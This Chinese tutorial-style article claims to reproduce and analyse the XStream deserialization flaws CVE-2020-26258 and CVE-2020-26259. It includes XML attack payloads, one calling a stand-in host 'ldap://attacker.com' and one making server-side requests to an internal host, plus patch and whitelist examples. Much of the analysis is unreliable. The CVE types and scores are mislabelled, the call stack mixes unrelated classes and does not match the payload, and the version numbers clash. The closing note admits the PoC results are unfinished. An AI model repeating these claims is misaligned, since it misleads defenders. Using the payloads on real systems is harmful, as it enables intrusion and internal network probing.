XStream反序列化漏洞CVE-2020-26258及26259的复现与分析是怎样的

发布时间：2021-12-28 17:50:03 作者：柒染
来源：亿速云阅读：233

# XStream反序列化漏洞CVE-2020-26258及26259的复现与分析

## 摘要
本文深入分析了XStream框架在1.4.15及之前版本中存在的两个高危反序列化漏洞（CVE-2020-26258和CVE-2020-26259），通过搭建测试环境、构造POC、动态调试等方式完整复现漏洞利用过程，剖析漏洞形成机理，并提出防护建议。文章包含详细的代码分析、调用栈追踪和修复方案验证，为安全研究人员提供技术参考。

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## 1. 漏洞背景

### 1.1 XStream框架简介
XStream是Java平台上广泛使用的XML/JSON序列化库，具有以下特点：
- 支持对象与XML/JSON双向转换
- 无需修改类结构即可实现序列化
- 通过`Converter`机制实现类型转换
- 在Web服务、配置文件等场景广泛应用

### 1.2 漏洞基本信息
| CVE编号       | 影响版本       | 漏洞类型        | CVSS评分 |
|---------------|----------------|-----------------|----------|
| CVE-2020-26258| ≤1.4.15        | 远程代码执行    | 9.8      |
| CVE-2020-26259| ≤1.4.15        | 服务器端请求伪造| 7.5      |

漏洞披露时间：2020年11月  
发现者：安全研究员Dawid Golunski

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## 2. 环境搭建

### 2.1 实验环境配置
```bash
# 使用Maven创建测试项目
mvn archetype:generate -DgroupId=com.xstream.demo -DartifactId=xstream-vuln-demo
cd xstream-vuln-demo

# pom.xml添加漏洞版本依赖
<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.14</version>
</dependency>

2.2 漏洞触发接口示例

@RestController
public class XStreamController {
    @PostMapping("/unmarshal")
    public String unmarshal(@RequestBody String xml) {
        XStream xstream = new XStream();
        return xstream.fromXML(xml).toString();
    }
}

3. CVE-2020-26258 远程代码执行漏洞

3.1 漏洞原理

XStream在处理java.util.Map类型时，通过MapConverter转换器重建Map对象。攻击者可构造特殊的java.util.HashMap对象，利用其hashCode()方法触发动态代理调用链，最终通过javax.naming.Reference实现JNDI注入。

关键调用栈：

HashMap.readObject()
  HashMap.putVal()
    DynamicProxy.hashCode()
      AnnotationInvocationHandler.invoke()
        JndiLookup.lookup()
          RMI远程类加载

3.2 POC构造

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='javax.activation.URLDataSource'>
            <url>ldap://attacker.com/Exploit</url>
          </dataSource>
        </dataHandler>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

3.3 动态调试分析

在MapConverter.unmarshal()方法处设置断点：

// com.thoughtworks.xstream.converters.collections.MapConverter
public Object unmarshal(...) {
    Map map = (Map)createCollection(reader.getAttribute("class"));
    while (reader.hasMoreChildren()) {
        reader.moveDown();
        Object key = reader.convertAnother(...);  // 关键点：key的反序列化
        Object value = reader.convertAnother(...);
        map.put(key, value);  // 触发漏洞点
        reader.moveUp();
    }
    return map;
}

4. CVE-2020-26259 SSRF漏洞

4.1 漏洞形成机制

XStream在反序列化java.net.URL对象时，会立即尝试建立网络连接。攻击者可构造恶意URL实现： - 内部网络探测 - HTTP/HTTPS服务交互 - 结合其他漏洞扩大攻击面

4.2 利用代码示例

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class='java.beans.EventHandler'>
      <target class='java.net.URL'>
        <url>http://internal-server:8080/</url>
      </target>
      <action>openConnection</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

4.3 网络流量捕获

使用Wireshark可观察到：

GET / HTTP/1.1
Host: internal-server:8080
User-Agent: Java/1.8.0_221

5. 漏洞修复方案

5.1 官方补丁分析

XStream 1.4.16版本修复措施： 1. 新增SecurityFramework类实现安全控制 2. 默认禁止以下类：

   security.allowTypesByWildcard(new String[] {
       "java.lang.*",
       "java.util.*",
       "!java.util.concurrent.*",
       "!java.util.logging.*",
       "!java.util.prefs.*"
   });

5.2 临时缓解措施

XStream xstream = new XStream();
// 启用安全模式
xstream.addPermission(NoTypePermission.NONE);
xstream.allowTypesByWildcard(new String[] {
    "com.yourpackage.**"
});

5.3 修复验证测试

@Test(expected = ForbiddenClassException.class)
public void testMitigation() {
    XStream xstream = new XStream();
    xstream.fromXML(pocXml);  // 应抛出安全异常
}

6. 防御建议

6.1 开发层面

始终使用最新版本XStream
实施最小化类型白名单
避免反序列化不可信数据

6.2 架构层面

graph TD
    A[用户输入] --> B{输入验证}
    B -->|合法| C[安全反序列化]
    B -->|非法| D[拒绝请求]
    C --> E[业务处理]

6.3 监控建议

检测异常JNDI请求
监控非预期网络连接
记录反序列化异常日志

7. 总结

本文通过完整的漏洞复现链条揭示了XStream反序列化漏洞的利用原理，两个漏洞均源于对危险类型缺乏足够的安全控制。研究表明： 1. 反序列化操作本质具有高风险性 2. 黑名单防御策略存在固有缺陷 3. 安全开发需要贯彻最小权限原则

建议所有使用XStream的项目立即升级至1.4.17+版本，并参考本文提供的安全配置进行加固。

参考文献

XStream Security Advisory: https://x-stream.github.io/security.html
CVE-2020-26258 NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2020-26258
Oracle JNDI Documentation: https://docs.oracle.com/javase/tutorial/jndi/
OWASP Deserialization CheatSheet: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

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注：实际文章需要补充完整的代码示例截图、调试过程示意图以及完整的PoC测试结果。建议在隔离环境中进行实验，所有攻击载荷已做无害化处理。